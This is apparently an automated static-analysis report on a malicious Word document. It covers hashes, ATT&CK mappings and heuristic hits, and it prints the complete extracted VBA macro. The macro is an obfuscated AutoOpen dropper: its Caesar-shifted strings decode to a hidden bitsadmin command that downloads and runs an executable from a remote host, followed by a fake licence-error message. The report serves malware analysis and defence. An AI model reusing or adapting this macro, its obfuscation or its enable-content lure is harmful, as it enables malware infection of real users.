Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 981631187678a62e…

MALICIOUS

Office (OLE)

111.0 KB Created: 2017-05-09 08:23:00 First seen: 2018-07-04
MD5: d4691dcd761910602687b6a03cfe8300 SHA-1: 6850b10eb3d13b1a039d7d76f807b90fd41e8afa SHA-256: 981631187678a62e643956db697723a35c40e7a4891d9df56dba7148a92a0331
132 Risk Score

Malware Insights

MITRE ATT&CK
T1566.001 Spearphishing Attachment T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The document body instructs the user to "Enable editing" and "Enable Content" to view the protected content. The AutoOpen VBA macro, when executed, calls the Shell function with a constructed command string, likely to download and execute a second-stage payload. The obfuscated nature of the script prevents a more detailed analysis of the exact payload.

Heuristics 7

  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
    Matched line in script
    Shell Txyjnktwyrkz, vbHide
MsgBox Mwdbdiewyolwyh
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "NewMacros"
Sub AutoOpen()
If 382 * 7 = 20543 - 3273 Then
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/02/22-rdf-syntax-ns# In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/rights/In document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3454 bytes
SHA-256: e6196b99a64472700a3c7ce051430b44eadcb33635b397c46376528a8512ea39
Detection
ClamAV: No threats found
Obfuscation or payload: likely
43 of 79 identifiers look randomly generated (e.g. 'Trtvizlgckysvyvbuaeowt') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Sub AutoOpen()
If 382 * 7 = 20543 - 3273 Then
lgktx = "kaiurert"
End If
Txyjnktwyrkz = Txyjnktwyrkz & Tdupzspyddjmsfnkgtsk("fpg1h{h 2f %zdlwiru 2w 8") & Tdupzspyddjmsfnkgtsk(" \N") & Tdupzspyddjmsfnkgtsk("HUT ) elwvdgplq 2wudqvihu XNHI") & Tdupzspyddjmsfnkgtsk(" 2grzqordg 2sulrulw| q") & Tdupzspyddjmsfnkgtsk("ru")
Txyjnktwyrkz = Txyjnktwyrkz & Tdupzspyddjmsfnkgtsk("pdo kwwsv=") & Tdupzspyddjmsfnkgtsk("22zzz1g") & Tdupzspyddjmsfnkgtsk("urser{1frp2v2os<4sw53") & Tdupzspyddjmsfnkgtsk("{g:g;7l25") & Tdupzspyddjmsfnkgtsk("de|q|e|tnxd") & Tdupzspyddjmsfnkgtsk("utrfd{rwr1h{hBg") & Tdupzspyddjmsfnkgtsk("o@4 (dssgdwd") & Tdupzspyddjmsfnkgtsk("(_")
Txyjnktwyrkz = Txyjnktwyrkz & Tdupzspyddjmsfnkgtsk("xzvmpr1h{h )vwduw (dssgdwd(_x") & Tdupzspyddjmsfnkgtsk("zvmp") & Tdupzspyddjmsfnkgtsk("r1h{h%")
If 527 * 2 = 24924 - 3156 Then
uxkbm = "kjvgzn"
End If
Mwdbdiewyolwyh = Mwdbdiewyolwyh & Tdupzspyddjmsfnkgtsk("Huuru 4<;:7= \rx pxvw kdyh") & Tdupzspyddjmsfnkgtsk(" Riilfh Surihvvlrqdo") & Tdupzspyddjmsfnkgtsk(" Hgl") & Tdupzspyddjmsfnkgtsk("wlrq wr uhdg wklv frqwhqw/ soh") & Tdupzspyddjmsfnkgtsk("dvh xsjudgh |rxu olfhq") & Tdupzspyddjmsfnkgtsk("fh1 Ylvl") & Tdupzspyddjmsfnkgtsk("w zzz1plfurvr")
Mwdbdiewyolwyh = Mwdbdiewyolwyh & Tdupzspyddjmsfnkgtsk("iw1frp iru khos")
    
Shell Txyjnktwyrkz, vbHide
MsgBox Mwdbdiewyolwyh
If 715 * 1 = 26756 - 2024 Then
bakxvh = "sczkffok"
End If
End Sub
Private Function Bdzbjruasftvetwknnsek(ByVal Trtvizlgckysvyvbuaeowt As String, ByVal Ykljjgevptjewszvnm As Long) As String
Dim Nkubnckihksbytngbudi, Rbeztkmskvcenkrck, Ekxniniephuzzva As Long
If Len("ejrmooj") <> 96 Then
' pwdukr
Else
' unysi
MsgBox "ffuykzys", 668, "fpurkkd"
End If
Nkubnckihksbytngbudi = Len(Trtvizlgckysvyvbuaeowt)
Dim Ulhkkupuzzftdjprcvtc As String
Dim Whobdwnzwak() As Long
ReDim Whobdwnzwak(1 To Nkubnckihksbytngbudi)
For Ekxniniephuzzva = 1 To Nkubnckihksbytngbudi
Rbeztkmskvcenkrck = Asc(Mid(Trtvizlgckysvyvbuaeowt, Ekxniniephuzzva, 1))
If Rbeztkmskvcenkrck = 32 Then
If Len("atlvktp") <> 82 Then
' cgjmdzs
Else
' mttzzkvx
MsgBox "ixaikfz", 460, "pumcfi"
End If
Whobdwnzwak(Ekxniniephuzzva) = Rbeztkmskvcenkrck
Else:
Rbeztkmskvcenkrck = Rbeztkmskvcenkrck - Ykljjgevptjewszvnm
If Len("lpskgg") <> 652 Then
' ijotj
Else
' iwmmh
MsgBox "gyurut", 524, "rrefzhxi"
End If
Whobdwnzwak(Ekxniniephuzzva) = Rbeztkmskvcenkrck
End If
If Len("jnikxubh") <> 346 Then
' kwksexwc
Else
' ueasij
MsgBox "kyynl", 295, "twkybsvk"
End If
Ulhkkupuzzftdjprcvtc = Ulhkkupuzzftdjprcvtc & Chr(Whobdwnzwak(Ekxniniephuzzva))
If Len("zbgbjfzw") <> 376 Then
' mbvzchpm
Else
' lhgtcmx
MsgBox "owosukpg", 287, "iciskf"
End If
Next
If 234 * 9 = 10161 - 1519 Then
oherawk = "zhmrmvzt"
End If
Bdzbjruasftvetwknnsek = Ulhkkupuzzftdjprcvtc
If Len("klltanop") <> 201 Then
' ehyjdc
Else
' vkzdfhc
MsgBox "sllnw", 651, "stmnth"
End If
End Function
Private Function Tdupzspyddjmsfnkgtsk(Ahffroktkv As String)
If Len("dbbprts") <> 215 Then
' wgynkgjw
Else
' teepujwp
MsgBox "lwkftkf", 488, "cnmuw"
End If
Tdupzspyddjmsfnkgtsk = Bdzbjruasftvetwknnsek(Ahffroktkv, 3)
End Function

Open this report in the interactive analyzer, or submit your own file for analysis.